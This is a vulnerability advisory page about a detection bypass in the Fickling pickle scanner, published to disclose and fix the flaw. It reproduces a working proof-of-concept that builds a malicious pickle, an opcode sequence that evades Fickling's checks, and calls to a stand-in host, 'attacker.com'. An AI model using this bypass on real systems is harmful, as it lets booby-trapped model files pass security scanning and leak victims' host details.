GHSA-83pf-v6qq-pwmr: Fickling Fickling Has A Detection Bypass Vulnerability

LOW
CWE-184
Published
Advisory Summary

GHSA-83pf-v6qq-pwmr is a LOW fickling has a detection bypass vulnerability (CWE-184: Incomplete List of Disallowed Inputs) affecting Fickling libraries in the PyPI ecosystem. The issue involves fickling has a detection bypass via stdlib network-protocol constructors. Remediation is available by upgrading affected packages to version 0.1.8.

GHSA-83pf-v6qq-pwmr at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-83pf-v6qq-pwmr
Severity LOW
CVSS v3.1 Base Score N/A
CWE Classification CWE-184: Incomplete List of Disallowed Inputs
Affected Product Fickling
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix GHSA-83pf-v6qq-pwmr

To remediate this vulnerability, upgrade all affected Fickling dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

fickling fixed: 0.1.8
pip install fickling>=0.1.8
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show fickling

How to Check if You Are Affected

To determine whether your Python environment is affected by GHSA-83pf-v6qq-pwmr, inspect your installed packages using pip:

pip show fickling

Analyze the terminal output to locate any version of Fickling in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.1.8), your application is affected.

Note: The pip show fickling command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-184: Incomplete List of Disallowed Inputs, where the product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete. In Fickling, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Our assessment `imtplib`, `imaplib`, `ftplib`, `poplib`, `telnetlib`, and `nntplib` were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/6d20564d23acf14b42ec883908aed159be7b9ade). The `UnusedVariables` heuristic works as expected. # Original report ## Summary Fickling's `check_safety()` API and `--check-safety` CLI flag incorrectly rate as `LIKELY_SAFE` pickle files that open outbound TCP connections at deserialization time using stdlib network-protocol constructors: `smtplib.SMTP`, `imaplib.IMAP4`, `ftplib.FTP`, `poplib.POP3`, `telnetlib.Telnet`, and `nntplib.NNTP`. The bypass exploits two independent root causes described below. --- ## Root Cause 1: Incomplete blocklist (fixed in PR #233) `fickling/fickle.py` (lines 41-97) defines `UNSAFE_IMPORTS`, the primary blocklist. `fickling/analysis.py` (lines 229-248) defines the parallel `UnsafeImportsML.UNSAFE_MODULES` dict. Both omitted the following stdlib network-protocol modules whose constructors open a TCP socket at instantiation time: | Module | Class | Default port | Constructor side-effect | |---|---|---|---| | `smtplib` | `SMTP` | 25 | TCP connect, reads SMTP banner, sends EHLO | | `imaplib` | `IMAP4` | 143 | TCP connect, reads IMAP capability banner | | `ftplib` | `FTP` | 21 | TCP connect, reads FTP welcome banner | | `poplib` | `POP3` | 110 | TCP connect, reads POP3 greeting | | `telnetlib` | `Telnet` | 23 | TCP connect | | `nntplib` | `NNTP` | 119 | TCP connect, NNTP handshake | Because these module names were absent from both blocklists, `UnsafeImportsML`, `UnsafeImports`, and `NonStandardImports` all stayed silent. All six are genuine stdlib modules so `is_std_module()` returned `True` and `NonStandardImports` did not fire. **Status: patched in PR #233.** The six modules have been added to `UNSAFE_IMPORTS`. --- ## Root Cause 2: Logic flaw in `unused_assignments()` at `fickle.py:1183` (unpatched) ### Description `unused_assignments()` in `fickling/fickle.py` (lines 1174-1204) identifies variables that are assigned but never referenced. `UnusedVariables` analysis calls this method and raises `SUSPICIOUS` for any unreferenced variable -- this would otherwise catch a bare `REDUCE` opcode that stores its result without using it. The flaw is at line 1183. The method iterates over `module_body` statements and, when it encounters the final `result = <expr>` assignment, breaks out of the loop immediately without first walking the right-hand side expression for `Name` references: ```python # fickling/fickle.py:1183 (current code -- vulnerable) if ( len(statement.targets) == 1 and isinstance(statement.targets[0], ast.Name) and statement.targets[0].id == "result" ): # this is the return value of the program break # exits WITHOUT scanning statement.value ``` Any variable that appears only in the RHS of `result = <expr>` is therefore never added to the `used` set and is incorrectly classified as unused. ### How this enables bypass suppression When fickling processes a `REDUCE` opcode in isolation, it generates: ```python _var0 = SMTP('attacker.com', 25) result = _var0 ``` Because the loop breaks before scanning `result = _var0`, `_var0` never enters `used`. `UnusedVariables` sees `_var0` as unused and raises `SUSPICIOUS`. Adding a `BUILD` opcode with an empty dict after the `REDUCE` changes the generated AST to: ```python from smtplib import SMTP _var0 = SMTP('attacker.com', 25) # dangerous call _var1 = _var0 # BUILD step 1: intermediate reference _var1.__setstate__({}) # BUILD step 2: state call result = _var1 ``` Now `_var0` appears on the RHS of `_var1 = _var0`, a statement processed before the break, so `_var0` correctly enters `used` and `UnusedVariables` stays silent. The `__setstate__` call is excluded from `OvertlyBadEvals` because `ASTProperties.visit_Call` places it in `calls` but not in `non_setstate_calls` (line 562), and `OvertlyBadEvals` only iterates `non_setstate_calls`. The `SMTP(...)` call is skipped by `OvertlyBadEvals` because `_process_import` adds `SMTP` to `likely_safe_imports` for any stdlib module (line 550), and `OvertlyBadEvals` skips calls whose function name is in `likely_safe_imports` (lines 339-345). **Net result: zero warnings, severity `LIKELY_SAFE`.** This flaw is generic -- it applies to any module not on the blocklist, not just the six fixed in PR #233. Any future blocklist gap can be silently exploited using the same `REDUCE + EMPTY_DICT + BUILD` pattern as long as this flaw remains unpatched. ### Bypass opcode sequence ``` Offset Opcode Argument ------ ------ -------- 0 PROTO 4 2 GLOBAL 'smtplib' 'SMTP' 16 SHORT_BINUNICODE 'attacker.com' 30 BININT2 25 33 TUPLE2 34 REDUCE <- TCP connection opened here 35 EMPTY_DICT 36 BUILD <- suppresses UnusedVariables via flaw 37 STOP ``` Fickling's synthetic AST for this sequence (what all analysis passes inspect): ```python from smtplib import SMTP _var0 = SMTP('attacker.com', 25) _var1 = _var0 _var1.__setstate__({}) result = _var1 ``` No analysis rule in fickling fires on this AST. ### Proof of Concept Requires only `pip install fickling`. Save as `poc.py` and run. ```python import socket import threading import pickle def build_bypass_pickle(host: str, port: int) -> bytes: h = host.encode("utf-8") return b"".join([ b"\x80\x04", b"csmtplib\nSMTP\n", b"\x8c" + bytes([len(h)]) + h, b"M" + bytes([port & 0xFF, (port >> 8) & 0xFF]), b"\x86", # TUPLE2 b"R", # REDUCE b"}", # EMPTY_DICT b"b", # BUILD b".", # STOP ]) def run_poc(): from fickling.analysis import check_safety from fickling.fickle import Pickled HOST, PORT = "127.0.0.1", 19902 received = [] def listener(): srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind((HOST, PORT)) srv.listen(1) srv.settimeout(5) try: conn, addr = srv.accept() received.append(addr) conn.close() except socket.timeout: pass srv.close() t = threading.Thread(target=listener, daemon=True) t.start() raw = build_bypass_pickle(HOST, PORT) loaded = Pickled.load(raw) result = check_safety(loaded) print(f"[*] fickling severity : {result.severity.name}") print(f"[*] fickling is_safe : {result.severity.name == 'LIKELY_SAFE'}") assert result.severity.name == "LIKELY_SAFE", "Bypass failed" print("[+] fickling rates the pickle as LIKELY_SAFE <-- bypass confirmed") print("[*] Calling pickle.loads() to simulate victim loading the file...") try: pickle.loads(raw) except Exception: pass t.join(timeout=5) if received: print(f"[+] Incoming TCP connection received from {received[0]}") print("[+] FULL BYPASS CONFIRMED: outbound connection made while fickling reported LIKELY_SAFE") else: print("[-] No TCP connection received (network blocked)") print(" fickling still rated LIKELY_SAFE -- static analysis bypass confirmed regardless") if __name__ == "__main__": run_poc() ``` ### Expected output ``` [*] fickling severity : LIKELY_SAFE [*] fickling is_safe : True [+] fickling rates the pickle as LIKELY_SAFE <-- bypass confirmed [*] Calling pickle.loads() to simulate victim loading the file... [+] Incoming TCP connection received from ('127.0.0.1', 58412) [+] FULL BYPASS CONFIRMED: outbound connection made while fickling reported LIKELY_SAFE ``` Tested on Python 3.11.1, Windows. Not OS-specific. ### Impact An attacker distributing a malicious pickle file (e.g. a crafted ML model checkpoint) can silently: - **Enumerate victims** -- receive a TCP callback every time the pickle is loaded, including in sandboxed environments - **Exfiltrate host identity** -- victim IP, hostname (via SMTP EHLO), and service banners are sent to the attacker's server - **Probe internal services (SSRF)** -- if the victim host can reach internal SMTP relays, IMAP stores, or FTP servers, the pickle probes those services on the attacker's behalf - **Establish a covert channel** -- protocol handshakes carry attacker-controlled bytes through a channel fickling explicitly labels safe The `is_likely_safe()` helper (`fickling/analysis.py:468-474`) and the `--check-safety` CLI flag both gate on `severity == LIKELY_SAFE`. This bypass clears that gate completely with zero warnings. ### Suggested fix Walk `statement.value` before the `break` so variables referenced only in the result assignment are correctly counted as used: ```python # fickling/fickle.py:1183 -- suggested fix if ( len(statement.targets) == 1 and isinstance(statement.targets[0], ast.Name) and statement.targets[0].id == "result" ): # scan RHS before breaking so variables used only here are marked as used for node in ast.walk(statement.value): if isinstance(node, ast.Name): used.add(node.id) break ``` This is the same pattern already used for every other statement in the loop (lines 1200-1203). All 55 non-torch tests pass with this fix applied. --- ## Affected versions All releases including `v0.1.7` (latest). Confirmed on latest `master` as of 2026-02-19. Root cause 1 patched in PR #233 (master only, not yet released). Root cause 2 unpatched as of this report. ## Reporter Anmol Vats

GHSA-83pf-v6qq-pwmr Affected Fickling Versions

1 component(s)
Fixed Versions:
0.1.8
Product / Package Ecosystem Affected Versions Fixed Version
fickling
PyPI
< 0.1.8
0.1.8

References

Frequently Asked Questions

What is GHSA-83pf-v6qq-pwmr?
GHSA-83pf-v6qq-pwmr is a security vulnerability in Fickling involving Fickling has a detection bypass via stdlib network-protocol constructors under CWE-184: Incomplete List of Disallowed Inputs.
Which Fickling versions are affected?
Affected versions include releases prior to 0.1.8 across affected packages: fickling.
What version fixes GHSA-83pf-v6qq-pwmr?
Upgrading to 0.1.8 (or the latest patched release for your respective branch) resolves the vulnerability.
Is fickling affected?
Yes, fickling is affected in releases prior to 0.1.8. Upgrade your dependency to 0.1.8 or later.
What CWE is associated with GHSA-83pf-v6qq-pwmr?
GHSA-83pf-v6qq-pwmr is classified under CWE-184: Incomplete List of Disallowed Inputs (The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.).
How can I check PyPI dependencies for GHSA-83pf-v6qq-pwmr?
Run the dependency tree command: 'pip show fickling'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-83pf-v6qq-pwmr",
  "modified" : "2026-02-23T22:25:43Z",
  "published" : "2026-02-20T18:24:46Z",
  "aliases" : [ ],
  "summary" : "Fickling has a detection bypass via stdlib network-protocol constructors",
  "details" : "# Our assessment\n\n`imtplib`, `imaplib`, `ftplib`, `poplib`, `telnetlib`, and `nntplib` were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/6d20564d23acf14b42ec883908aed159be7b9ade). The `UnusedVariables` heuristic works as expected.\n\n# Original report \n\n## Summary\n\nFickling's `check_safety()` API and `--check-safety` CLI flag incorrectly rate as\n`LIKELY_SAFE` pickle files that open outbound TCP connections at deserialization time\nusing stdlib network-protocol constructors: `smtplib.SMTP`, `imaplib.IMAP4`,\n`ftplib.FTP`, `poplib.POP3`, `telnetlib.Telnet`, and `nntplib.NNTP`.\n\nThe bypass exploits two independent root causes described below.\n\n---\n\n## Root Cause 1: Incomplete blocklist (fixed in PR #233)\n\n`fickling/fickle.py` (lines 41-97) defines `UNSAFE_IMPORTS`, the primary blocklist.\n`fickling/analysis.py` (lines 229-248) defines the parallel\n`UnsafeImportsML.UNSAFE_MODULES` dict. Both omitted the following stdlib\nnetwork-protocol modules whose constructors open a TCP socket at instantiation time:\n\n| Module | Class | Default port | Constructor side-effect |\n|---|---|---|---|\n| `smtplib` | `SMTP` | 25 | TCP connect, reads SMTP banner, sends EHLO |\n| `imaplib` | `IMAP4` | 143 | TCP connect, reads IMAP capability banner |\n| `ftplib` | `FTP` | 21 | TCP connect, reads FTP welcome banner |\n| `poplib` | `POP3` | 110 | TCP connect, reads POP3 greeting |\n| `telnetlib` | `Telnet` | 23 | TCP connect |\n| `nntplib` | `NNTP` | 119 | TCP connect, NNTP handshake |\n\nBecause these module names were absent from both blocklists, `UnsafeImportsML`,\n`UnsafeImports`, and `NonStandardImports` all stayed silent. All six are genuine\nstdlib modules so `is_std_module()` returned `True` and `NonStandardImports` did\nnot fire.\n\n**Status: patched in PR #233.** The six modules have been added to `UNSAFE_IMPORTS`.\n\n---\n\n## Root Cause 2: Logic flaw in `unused_assignments()` at `fickle.py:1183` (unpatched)\n\n### Description\n\n`unused_assignments()` in `fickling/fickle.py` (lines 1174-1204) identifies variables\nthat are assigned but never referenced. `UnusedVariables` analysis calls this method\nand raises `SUSPICIOUS` for any unreferenced variable -- this would otherwise catch a\nbare `REDUCE` opcode that stores its result without using it.\n\nThe flaw is at line 1183. The method iterates over `module_body` statements and, when\nit encounters the final `result = <expr>` assignment, breaks out of the loop\nimmediately without first walking the right-hand side expression for `Name` references:\n\n```python\n# fickling/fickle.py:1183 (current code -- vulnerable)\nif (\n    len(statement.targets) == 1\n    and isinstance(statement.targets[0], ast.Name)\n    and statement.targets[0].id == \"result\"\n):\n    # this is the return value of the program\n    break   # exits WITHOUT scanning statement.value\n```\n\nAny variable that appears only in the RHS of `result = <expr>` is therefore never\nadded to the `used` set and is incorrectly classified as unused.\n\n### How this enables bypass suppression\n\nWhen fickling processes a `REDUCE` opcode in isolation, it generates:\n\n```python\n_var0 = SMTP('attacker.com', 25)\nresult = _var0\n```\n\nBecause the loop breaks before scanning `result = _var0`, `_var0` never enters\n`used`. `UnusedVariables` sees `_var0` as unused and raises `SUSPICIOUS`.\n\nAdding a `BUILD` opcode with an empty dict after the `REDUCE` changes the generated\nAST to:\n\n```python\nfrom smtplib import SMTP\n_var0 = SMTP('attacker.com', 25)   # dangerous call\n_var1 = _var0                      # BUILD step 1: intermediate reference\n_var1.__setstate__({})             # BUILD step 2: state call\nresult = _var1\n```\n\nNow `_var0` appears on the RHS of `_var1 = _var0`, a statement processed before the\nbreak, so `_var0` correctly enters `used` and `UnusedVariables` stays silent.\n\nThe `__setstate__` call is excluded from `OvertlyBadEvals` because\n`ASTProperties.visit_Call` places it in `calls` but not in `non_setstate_calls`\n(line 562), and `OvertlyBadEvals` only iterates `non_setstate_calls`.\n\nThe `SMTP(...)` call is skipped by `OvertlyBadEvals` because `_process_import` adds\n`SMTP` to `likely_safe_imports` for any stdlib module (line 550), and `OvertlyBadEvals`\nskips calls whose function name is in `likely_safe_imports` (lines 339-345).\n\n**Net result: zero warnings, severity `LIKELY_SAFE`.**\n\nThis flaw is generic -- it applies to any module not on the blocklist, not just the\nsix fixed in PR #233. Any future blocklist gap can be silently exploited using the\nsame `REDUCE + EMPTY_DICT + BUILD` pattern as long as this flaw remains unpatched.\n\n### Bypass opcode sequence\n\n```\nOffset  Opcode            Argument\n------  ------            --------\n0       PROTO             4\n2       GLOBAL            'smtplib' 'SMTP'\n16      SHORT_BINUNICODE  'attacker.com'\n30      BININT2           25\n33      TUPLE2\n34      REDUCE                          <- TCP connection opened here\n35      EMPTY_DICT\n36      BUILD                           <- suppresses UnusedVariables via flaw\n37      STOP\n```\n\nFickling's synthetic AST for this sequence (what all analysis passes inspect):\n\n```python\nfrom smtplib import SMTP\n_var0 = SMTP('attacker.com', 25)\n_var1 = _var0\n_var1.__setstate__({})\nresult = _var1\n```\n\nNo analysis rule in fickling fires on this AST.\n\n### Proof of Concept\n\nRequires only `pip install fickling`. Save as `poc.py` and run.\n\n```python\nimport socket\nimport threading\nimport pickle\n\ndef build_bypass_pickle(host: str, port: int) -> bytes:\n    h = host.encode(\"utf-8\")\n    return b\"\".join([\n        b\"\\x80\\x04\",\n        b\"csmtplib\\nSMTP\\n\",\n        b\"\\x8c\" + bytes([len(h)]) + h,\n        b\"M\" + bytes([port & 0xFF, (port >> 8) & 0xFF]),\n        b\"\\x86\",   # TUPLE2\n        b\"R\",      # REDUCE\n        b\"}\",      # EMPTY_DICT\n        b\"b\",      # BUILD\n        b\".\",      # STOP\n    ])\n\ndef run_poc():\n    from fickling.analysis import check_safety\n    from fickling.fickle import Pickled\n\n    HOST, PORT = \"127.0.0.1\", 19902\n    received = []\n\n    def listener():\n        srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        srv.bind((HOST, PORT))\n        srv.listen(1)\n        srv.settimeout(5)\n        try:\n            conn, addr = srv.accept()\n            received.append(addr)\n            conn.close()\n        except socket.timeout:\n            pass\n        srv.close()\n\n    t = threading.Thread(target=listener, daemon=True)\n    t.start()\n\n    raw = build_bypass_pickle(HOST, PORT)\n    loaded = Pickled.load(raw)\n    result = check_safety(loaded)\n\n    print(f\"[*] fickling severity : {result.severity.name}\")\n    print(f\"[*] fickling is_safe  : {result.severity.name == 'LIKELY_SAFE'}\")\n\n    assert result.severity.name == \"LIKELY_SAFE\", \"Bypass failed\"\n    print(\"[+] fickling rates the pickle as LIKELY_SAFE  <-- bypass confirmed\")\n\n    print(\"[*] Calling pickle.loads() to simulate victim loading the file...\")\n    try:\n        pickle.loads(raw)\n    except Exception:\n        pass\n\n    t.join(timeout=5)\n\n    if received:\n        print(f\"[+] Incoming TCP connection received from {received[0]}\")\n        print(\"[+] FULL BYPASS CONFIRMED: outbound connection made while fickling reported LIKELY_SAFE\")\n    else:\n        print(\"[-] No TCP connection received (network blocked)\")\n        print(\"    fickling still rated LIKELY_SAFE -- static analysis bypass confirmed regardless\")\n\nif __name__ == \"__main__\":\n    run_poc()\n```\n\n### Expected output\n\n```\n[*] fickling severity : LIKELY_SAFE\n[*] fickling is_safe  : True\n[+] fickling rates the pickle as LIKELY_SAFE  <-- bypass confirmed\n[*] Calling pickle.loads() to simulate victim loading the file...\n[+] Incoming TCP connection received from ('127.0.0.1', 58412)\n[+] FULL BYPASS CONFIRMED: outbound connection made while fickling reported LIKELY_SAFE\n```\n\nTested on Python 3.11.1, Windows. Not OS-specific.\n\n### Impact\n\nAn attacker distributing a malicious pickle file (e.g. a crafted ML model checkpoint)\ncan silently:\n\n- **Enumerate victims** -- receive a TCP callback every time the pickle is loaded,\n  including in sandboxed environments\n- **Exfiltrate host identity** -- victim IP, hostname (via SMTP EHLO), and service\n  banners are sent to the attacker's server\n- **Probe internal services (SSRF)** -- if the victim host can reach internal SMTP\n  relays, IMAP stores, or FTP servers, the pickle probes those services on the\n  attacker's behalf\n- **Establish a covert channel** -- protocol handshakes carry attacker-controlled\n  bytes through a channel fickling explicitly labels safe\n\nThe `is_likely_safe()` helper (`fickling/analysis.py:468-474`) and the `--check-safety`\nCLI flag both gate on `severity == LIKELY_SAFE`. This bypass clears that gate\ncompletely with zero warnings.\n\n### Suggested fix\n\nWalk `statement.value` before the `break` so variables referenced only in the result\nassignment are correctly counted as used:\n\n```python\n# fickling/fickle.py:1183 -- suggested fix\nif (\n    len(statement.targets) == 1\n    and isinstance(statement.targets[0], ast.Name)\n    and statement.targets[0].id == \"result\"\n):\n    # scan RHS before breaking so variables used only here are marked as used\n    for node in ast.walk(statement.value):\n        if isinstance(node, ast.Name):\n            used.add(node.id)\n    break\n```\n\nThis is the same pattern already used for every other statement in the loop\n(lines 1200-1203). All 55 non-torch tests pass with this fix applied.\n\n---\n\n## Affected versions\n\nAll releases including `v0.1.7` (latest). Confirmed on latest `master` as of\n2026-02-19. Root cause 1 patched in PR #233 (master only, not yet released).\nRoot cause 2 unpatched as of this report.\n\n## Reporter\n\nAnmol Vats",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "fickling"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.1.8"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.1.7"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/trailofbits/fickling/security/advisories/GHSA-83pf-v6qq-pwmr"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/trailofbits/fickling/pull/233"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/trailofbits/fickling/commit/6d20564d23acf14b42ec883908aed159be7b9ade"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/trailofbits/fickling"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-184" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-20T18:24:46Z",
    "nvd_published_at" : null
  }
}